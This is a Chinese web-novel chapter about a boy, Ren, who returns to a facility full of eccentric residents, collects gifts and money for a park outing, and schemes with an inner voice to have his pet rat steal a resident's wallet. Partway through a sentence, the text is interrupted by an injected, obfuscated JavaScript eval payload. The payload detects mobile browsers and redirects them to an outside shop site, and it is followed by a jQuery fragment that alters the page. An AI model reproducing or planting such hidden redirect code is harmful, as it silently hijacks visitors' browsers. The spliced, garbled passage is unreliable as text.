“莲酱，今天过得怎么样？”
佐佐木先生拉开车门，目光习惯性地扫过那两个站在校门口目送的小身影。
金发的那个双手插在口袋里，站得笔直，表情淡淡的，但视线一直黏在莲的后脑勺上。
深色头发的那个抱着笔记本，微微踮了一下脚尖，看到莲钻进车里才放下脚跟。
“很好。”莲钻进后座，把书包抱在怀里，“明天要和零酱景酱去公园喂鱼。我们已经做好了详细的战略计划。”
佐佐木先生关上车门的手停了一下。他站在车门外顿了大概半秒，然后轻轻合上车门，绕到驾驶座坐下，从后视镜里看了看莲。
莲正低头翻书包里的东西，嘴里哼着不成调的曲子，听起来像是月亮小姐每天晚上唱的曲子。
“交到朋友了呢，莲酱。”
莲头也没抬，把《宇宙大百科》从书包里抽出来翻了翻，“都是我的子民。”
“……。”
佐佐木先生没有再问。
他挂上档，白色小轿车平稳地驶过几个街区，汇入傍晚的车流中。
白色小轿车驶过几个街区，穿过那片安静的住宅区，最后在那栋熟悉的白色建筑前缓缓停下。
莲推开车门跳下去，书包挂在一边肩膀上，只见大厅里和往常一样热闹。
电视机开着，正播放着下午的新闻节目。
几个身影分散在大厅各处。
空气里飘着淡淡的消毒水味道和厨房里飘出来的咖喱香气。
“我回来啦。”莲推开门，书包还没放下就喊了一声。
大厅里的人齐刷刷地转过头，动作整齐划一。
“莲酱回来了！”
“今天怎么回来得这么晚？是不是在学校又睡着了？”
“莲酱快过来，我今天学会了新的飞行姿势！”
最先冲过来的是老鹰先生。他张开双臂从大厅另一端呼啸而来，下摆鼓起来，在身后哗啦啦地响。
“小公主！今天在学校有没有人欺负你？我飞去啄他们！”他从口袋里掏出一颗糖果，郑重地放在莲手心。
“没有。今天很开心。”莲剥开糖纸塞进嘴里，跟之前一样还是苹果味的。
“开心就好！开心就好！老鹰今天也很开心，因为我发现顺风飞行比逆风省力百分之四十！”老鹰先生心满意足地点点头，张开双臂呼啸而去。
月亮小姐坐在大厅角落的沙发上，正在叠千纸鹤。旁边的茶几上已经放了好几只，有的翅膀一大一小，但每一只都叠得很认真。她抬起头看到莲，放下手里的千纸鹤，露出一个笑容。
“莲酱。今天月亮几点下班？”
“大概六点半。还有两个小时。”
“好，我会等它的。”月亮小姐认真地点点头，然后从口袋里掏出一颗糖放进莲手里。今天的水果糖是橘子味的，糖纸反着橙色的光，
“这是今天的谢礼。”
莲的口袋已经鼓了起来。他继续往前走，走到楼梯口的时候，太郎从楼梯扶手下面钻了出来。
花枝鼠的胡须抖了抖，前爪捧着一枚不知道从哪里找到的十元硬币，高高举起，像是在进贡。
莲蹲下来，伸出手心。太郎把十元硬币放进他手里，然后坐在原地，胡须翘得高高的，等着被表扬。
“太郎好厉害。明天继续努力，目标是五百元。”
太郎高兴地吱了一声，沿着扶手跑掉了。
莲继续往楼上走，走到二楼大活动室门口的时候，他听到了熟悉的动画片音效，往里看了一眼。
拓也哥哥正坐在活动室正对电视的位置。他大概二十岁不到，五官俊帅，头发梳得整整齐齐，蓝白条纹睡衣穿得一丝不苟，纽扣系到最上面一颗。
他双手规规矩矩地放在膝盖上，背挺得笔直，表情严肃得像是在参加重要会议。
电视上正在播《猫和老鼠》。
画面里，汤姆猫被杰瑞鼠耍得团团转，一头撞在墙上，头上鼓起一个大包。杰瑞站在高处得意地吹了一声口哨，然后钻进墙角的洞里。
拓也哥哥双手交叠放在膝盖上，表情凝重地看完这一段，然后转头对着身边的空位开口说话。
“这一段的战术设计很有参考价值。利用环境优势，以弱胜强。”他对着左边的空位点了点头，“你怎么看？……嗯，有道理。包抄战术在某些情况下确实更有效。”
他侧耳听了一会儿，若有所思地点点头。
然后站起来走到电视机前，用食指敲了敲屏幕，对汤姆猫说：“你应该先摸清他的逃跑路线。知己知彼才能百战百胜。不要只知道用蛮力，要动脑子。”
莲趴在门框上，探进半个脑袋。“拓也哥哥。”
拓也听到声音才回过头。他看到门口那颗黑色卷毛脑袋，招了招手让他进来。
“今天上学了？很好。学校是一个小型社会，多观察多学习，对以后有好处。”他往旁边挪了挪，给莲让出一个位置。
“嗯。”莲走进去，在他旁边的椅子上坐下来，规规矩矩地把手放在膝盖上。
“拓也哥哥，周末我要出去玩。和学校的两个子民去绿丘公园喂鱼。”
拓也看着莲，表情依然很严肃，目光沉稳，像是在评估一项重要的外勤任务。
他沉默了一会儿，然后把手伸进裤子口袋，掏出一个钱包。他打开钱包，从里面抽出几张纸币，认认真真地数了一遍。
然后他把两张一千元的钞票放在莲手里，动作郑重。
“出去玩需要活动经费。一千元买面包喂鱼，一千元买零食。不够的话回来找我报销。记得保留收据。”
“谢谢拓也哥哥。”莲把钱叠好，放进口袋里。
“不用谢。这是我的战略储备金，用在刀刃上就是值得的。”拓也顿了顿，忽然压低声音，凑近莲的耳边。
“那个池塘。你确定有鱼吗？如果没有鱼，你还能喂什么？要不要我帮你调查一下？我可以让山田先去侦察。”
“是绿丘公园的池塘，很多人在那里喂鱼。”
“绿丘公园。”拓也重复了一遍这个名字，表情若有所思。
“好。如果遇到任何突发状况，记得找制高点。池塘边的假山应该可以。保持通讯畅通。我的内线电话是407。”
“好。”
拓也满意地点了点头，继续看他的《猫和老鼠》。
莲从椅子上跳下来，走出活动室。
莲把手从口袋里抽出来，握了握拳。那张苍白漂亮的小脸上浮现出一种不甘心的表情。
【……监察者。您心里为什么突然对太郎很不满意？】
002的声音冷不丁地在脑海中响起，语气一如既往地平淡，但莲总觉得它这次带了点审视的意味。
【训练了那么久，竟然还没偷到拓也哥哥的钱包。每天给他吃那么多花生米，连个钱包都搞不定。拓也哥哥的钱包就放在裤子口袋里，连拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629590|206320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
链都没有。上次我亲眼看到太郎从他脚边跑过去，连看都没看一眼。我养他有什么用？】
【……】
【太郎已经尽力了。它只是一只花枝鼠，不是专业的寻宝鼠。】002的声音在脑海中响起。
【尽力了为什么没偷到？】
【山下拓也的裤子口袋很深，而且他坐着的时候会把手放在口袋上。这对一只花枝鼠来说是极高难度的目标。偷不到是正常的。你不应该嫌弃它。】
【我训练了它一个月。】
【您当初训练它的目标是让它找到万元纸币，不是让它从活人身上偷钱。这两个技能的学习曲线完全不同。而且它已经能叼回您房间里的遥控器了，这也是成果。】
莲低头，不甘心地握拳，好像在下一个重大的决心。
半晌后，他松开手，决定今晚再对它来一些加训，争取一周内偷走拓也哥哥的所有钱。
【……】002彻底安静了。
这个混蛋监察者！
*
傍晚，晚饭时间。
莲在餐桌上安静地吃着咖喱饭。
楼梯上传来一阵急促的脚步声，餐厅的门被猛地推开，月亮小姐站在门口。
“莲酱要去哪里？”她的声音忽然拔高了，带着明显的颤抖。
“绿丘公园。和学校的两个子民一起去。我们去喂鱼。”莲舀了一口咖喱饭，嚼了嚼。
月亮小姐看着他，嘴唇微微颤抖。她的眼眶开始泛红，泪花在眼睛里打着转，亮晶晶的。两只手攥紧到指节发白。
“莲酱要出去了……会不会不回来了？月亮每天都会下班回来，但是人出去了不一定回来……上次隔壁病房的山田爷爷出去了就没回来……他们说山田爷爷去别的地方了……”
她的眼眶红了，泪珠如线一样啪嗒啪嗒地掉下来
“我会回来的。”莲叹口气。
“真的吗？你不骗我？”
“不骗你。”莲伸出手指，“拉钩。”
月亮小姐看着他，眼里的泪光闪了闪，然后她伸出小指勾住了莲的小指。
“好。拉钩了就不许反悔。如果你晚上没回来，我就让月亮去找你。”
“月光无处不在，一定能找到你的。”
“好。”
月亮小姐松开了手指，但还是不放心，又盯着莲看了好一会儿，忽然站起来快步走出餐厅。大概三分钟后她回来了，手里抱着一堆东西。
一把折叠雨伞，一包纸巾，半袋棉花糖，一个印着月亮图案的小零钱包。她把所有东西堆在莲面前，堆成了一座小山。
“这些给你带着。纸巾擦手用，雨伞万一下雨了就用，棉花糖饿了就吃，零钱包里有五百元的。”她弯下腰凑到莲耳边，压低声音，认真地补充，“里面还有一颗幸运星，是我昨天叠的。星星会保佑莲酱找到回家的路。”
她顿了顿，眼眶又红了：“莲酱一定要回来。月亮不能没有我们。”
莲低头看着怀里那一堆东西，眨了眨眼睛。
他把雨伞放在旁边，把棉花糖和纸巾收进书包，把那个印着月亮图案的小零钱包放进口袋里，然后抬起头对月亮小姐笑了笑。
“谢谢月亮小姐。棉花糖我会分给朋友吃的。”
“告诉他们这是月亮给的棉花糖。”月亮小姐认真地说，“吃了会得到月亮的守护。”
“好。”莲弯起眼睛。
窗外，月亮已经升起来了。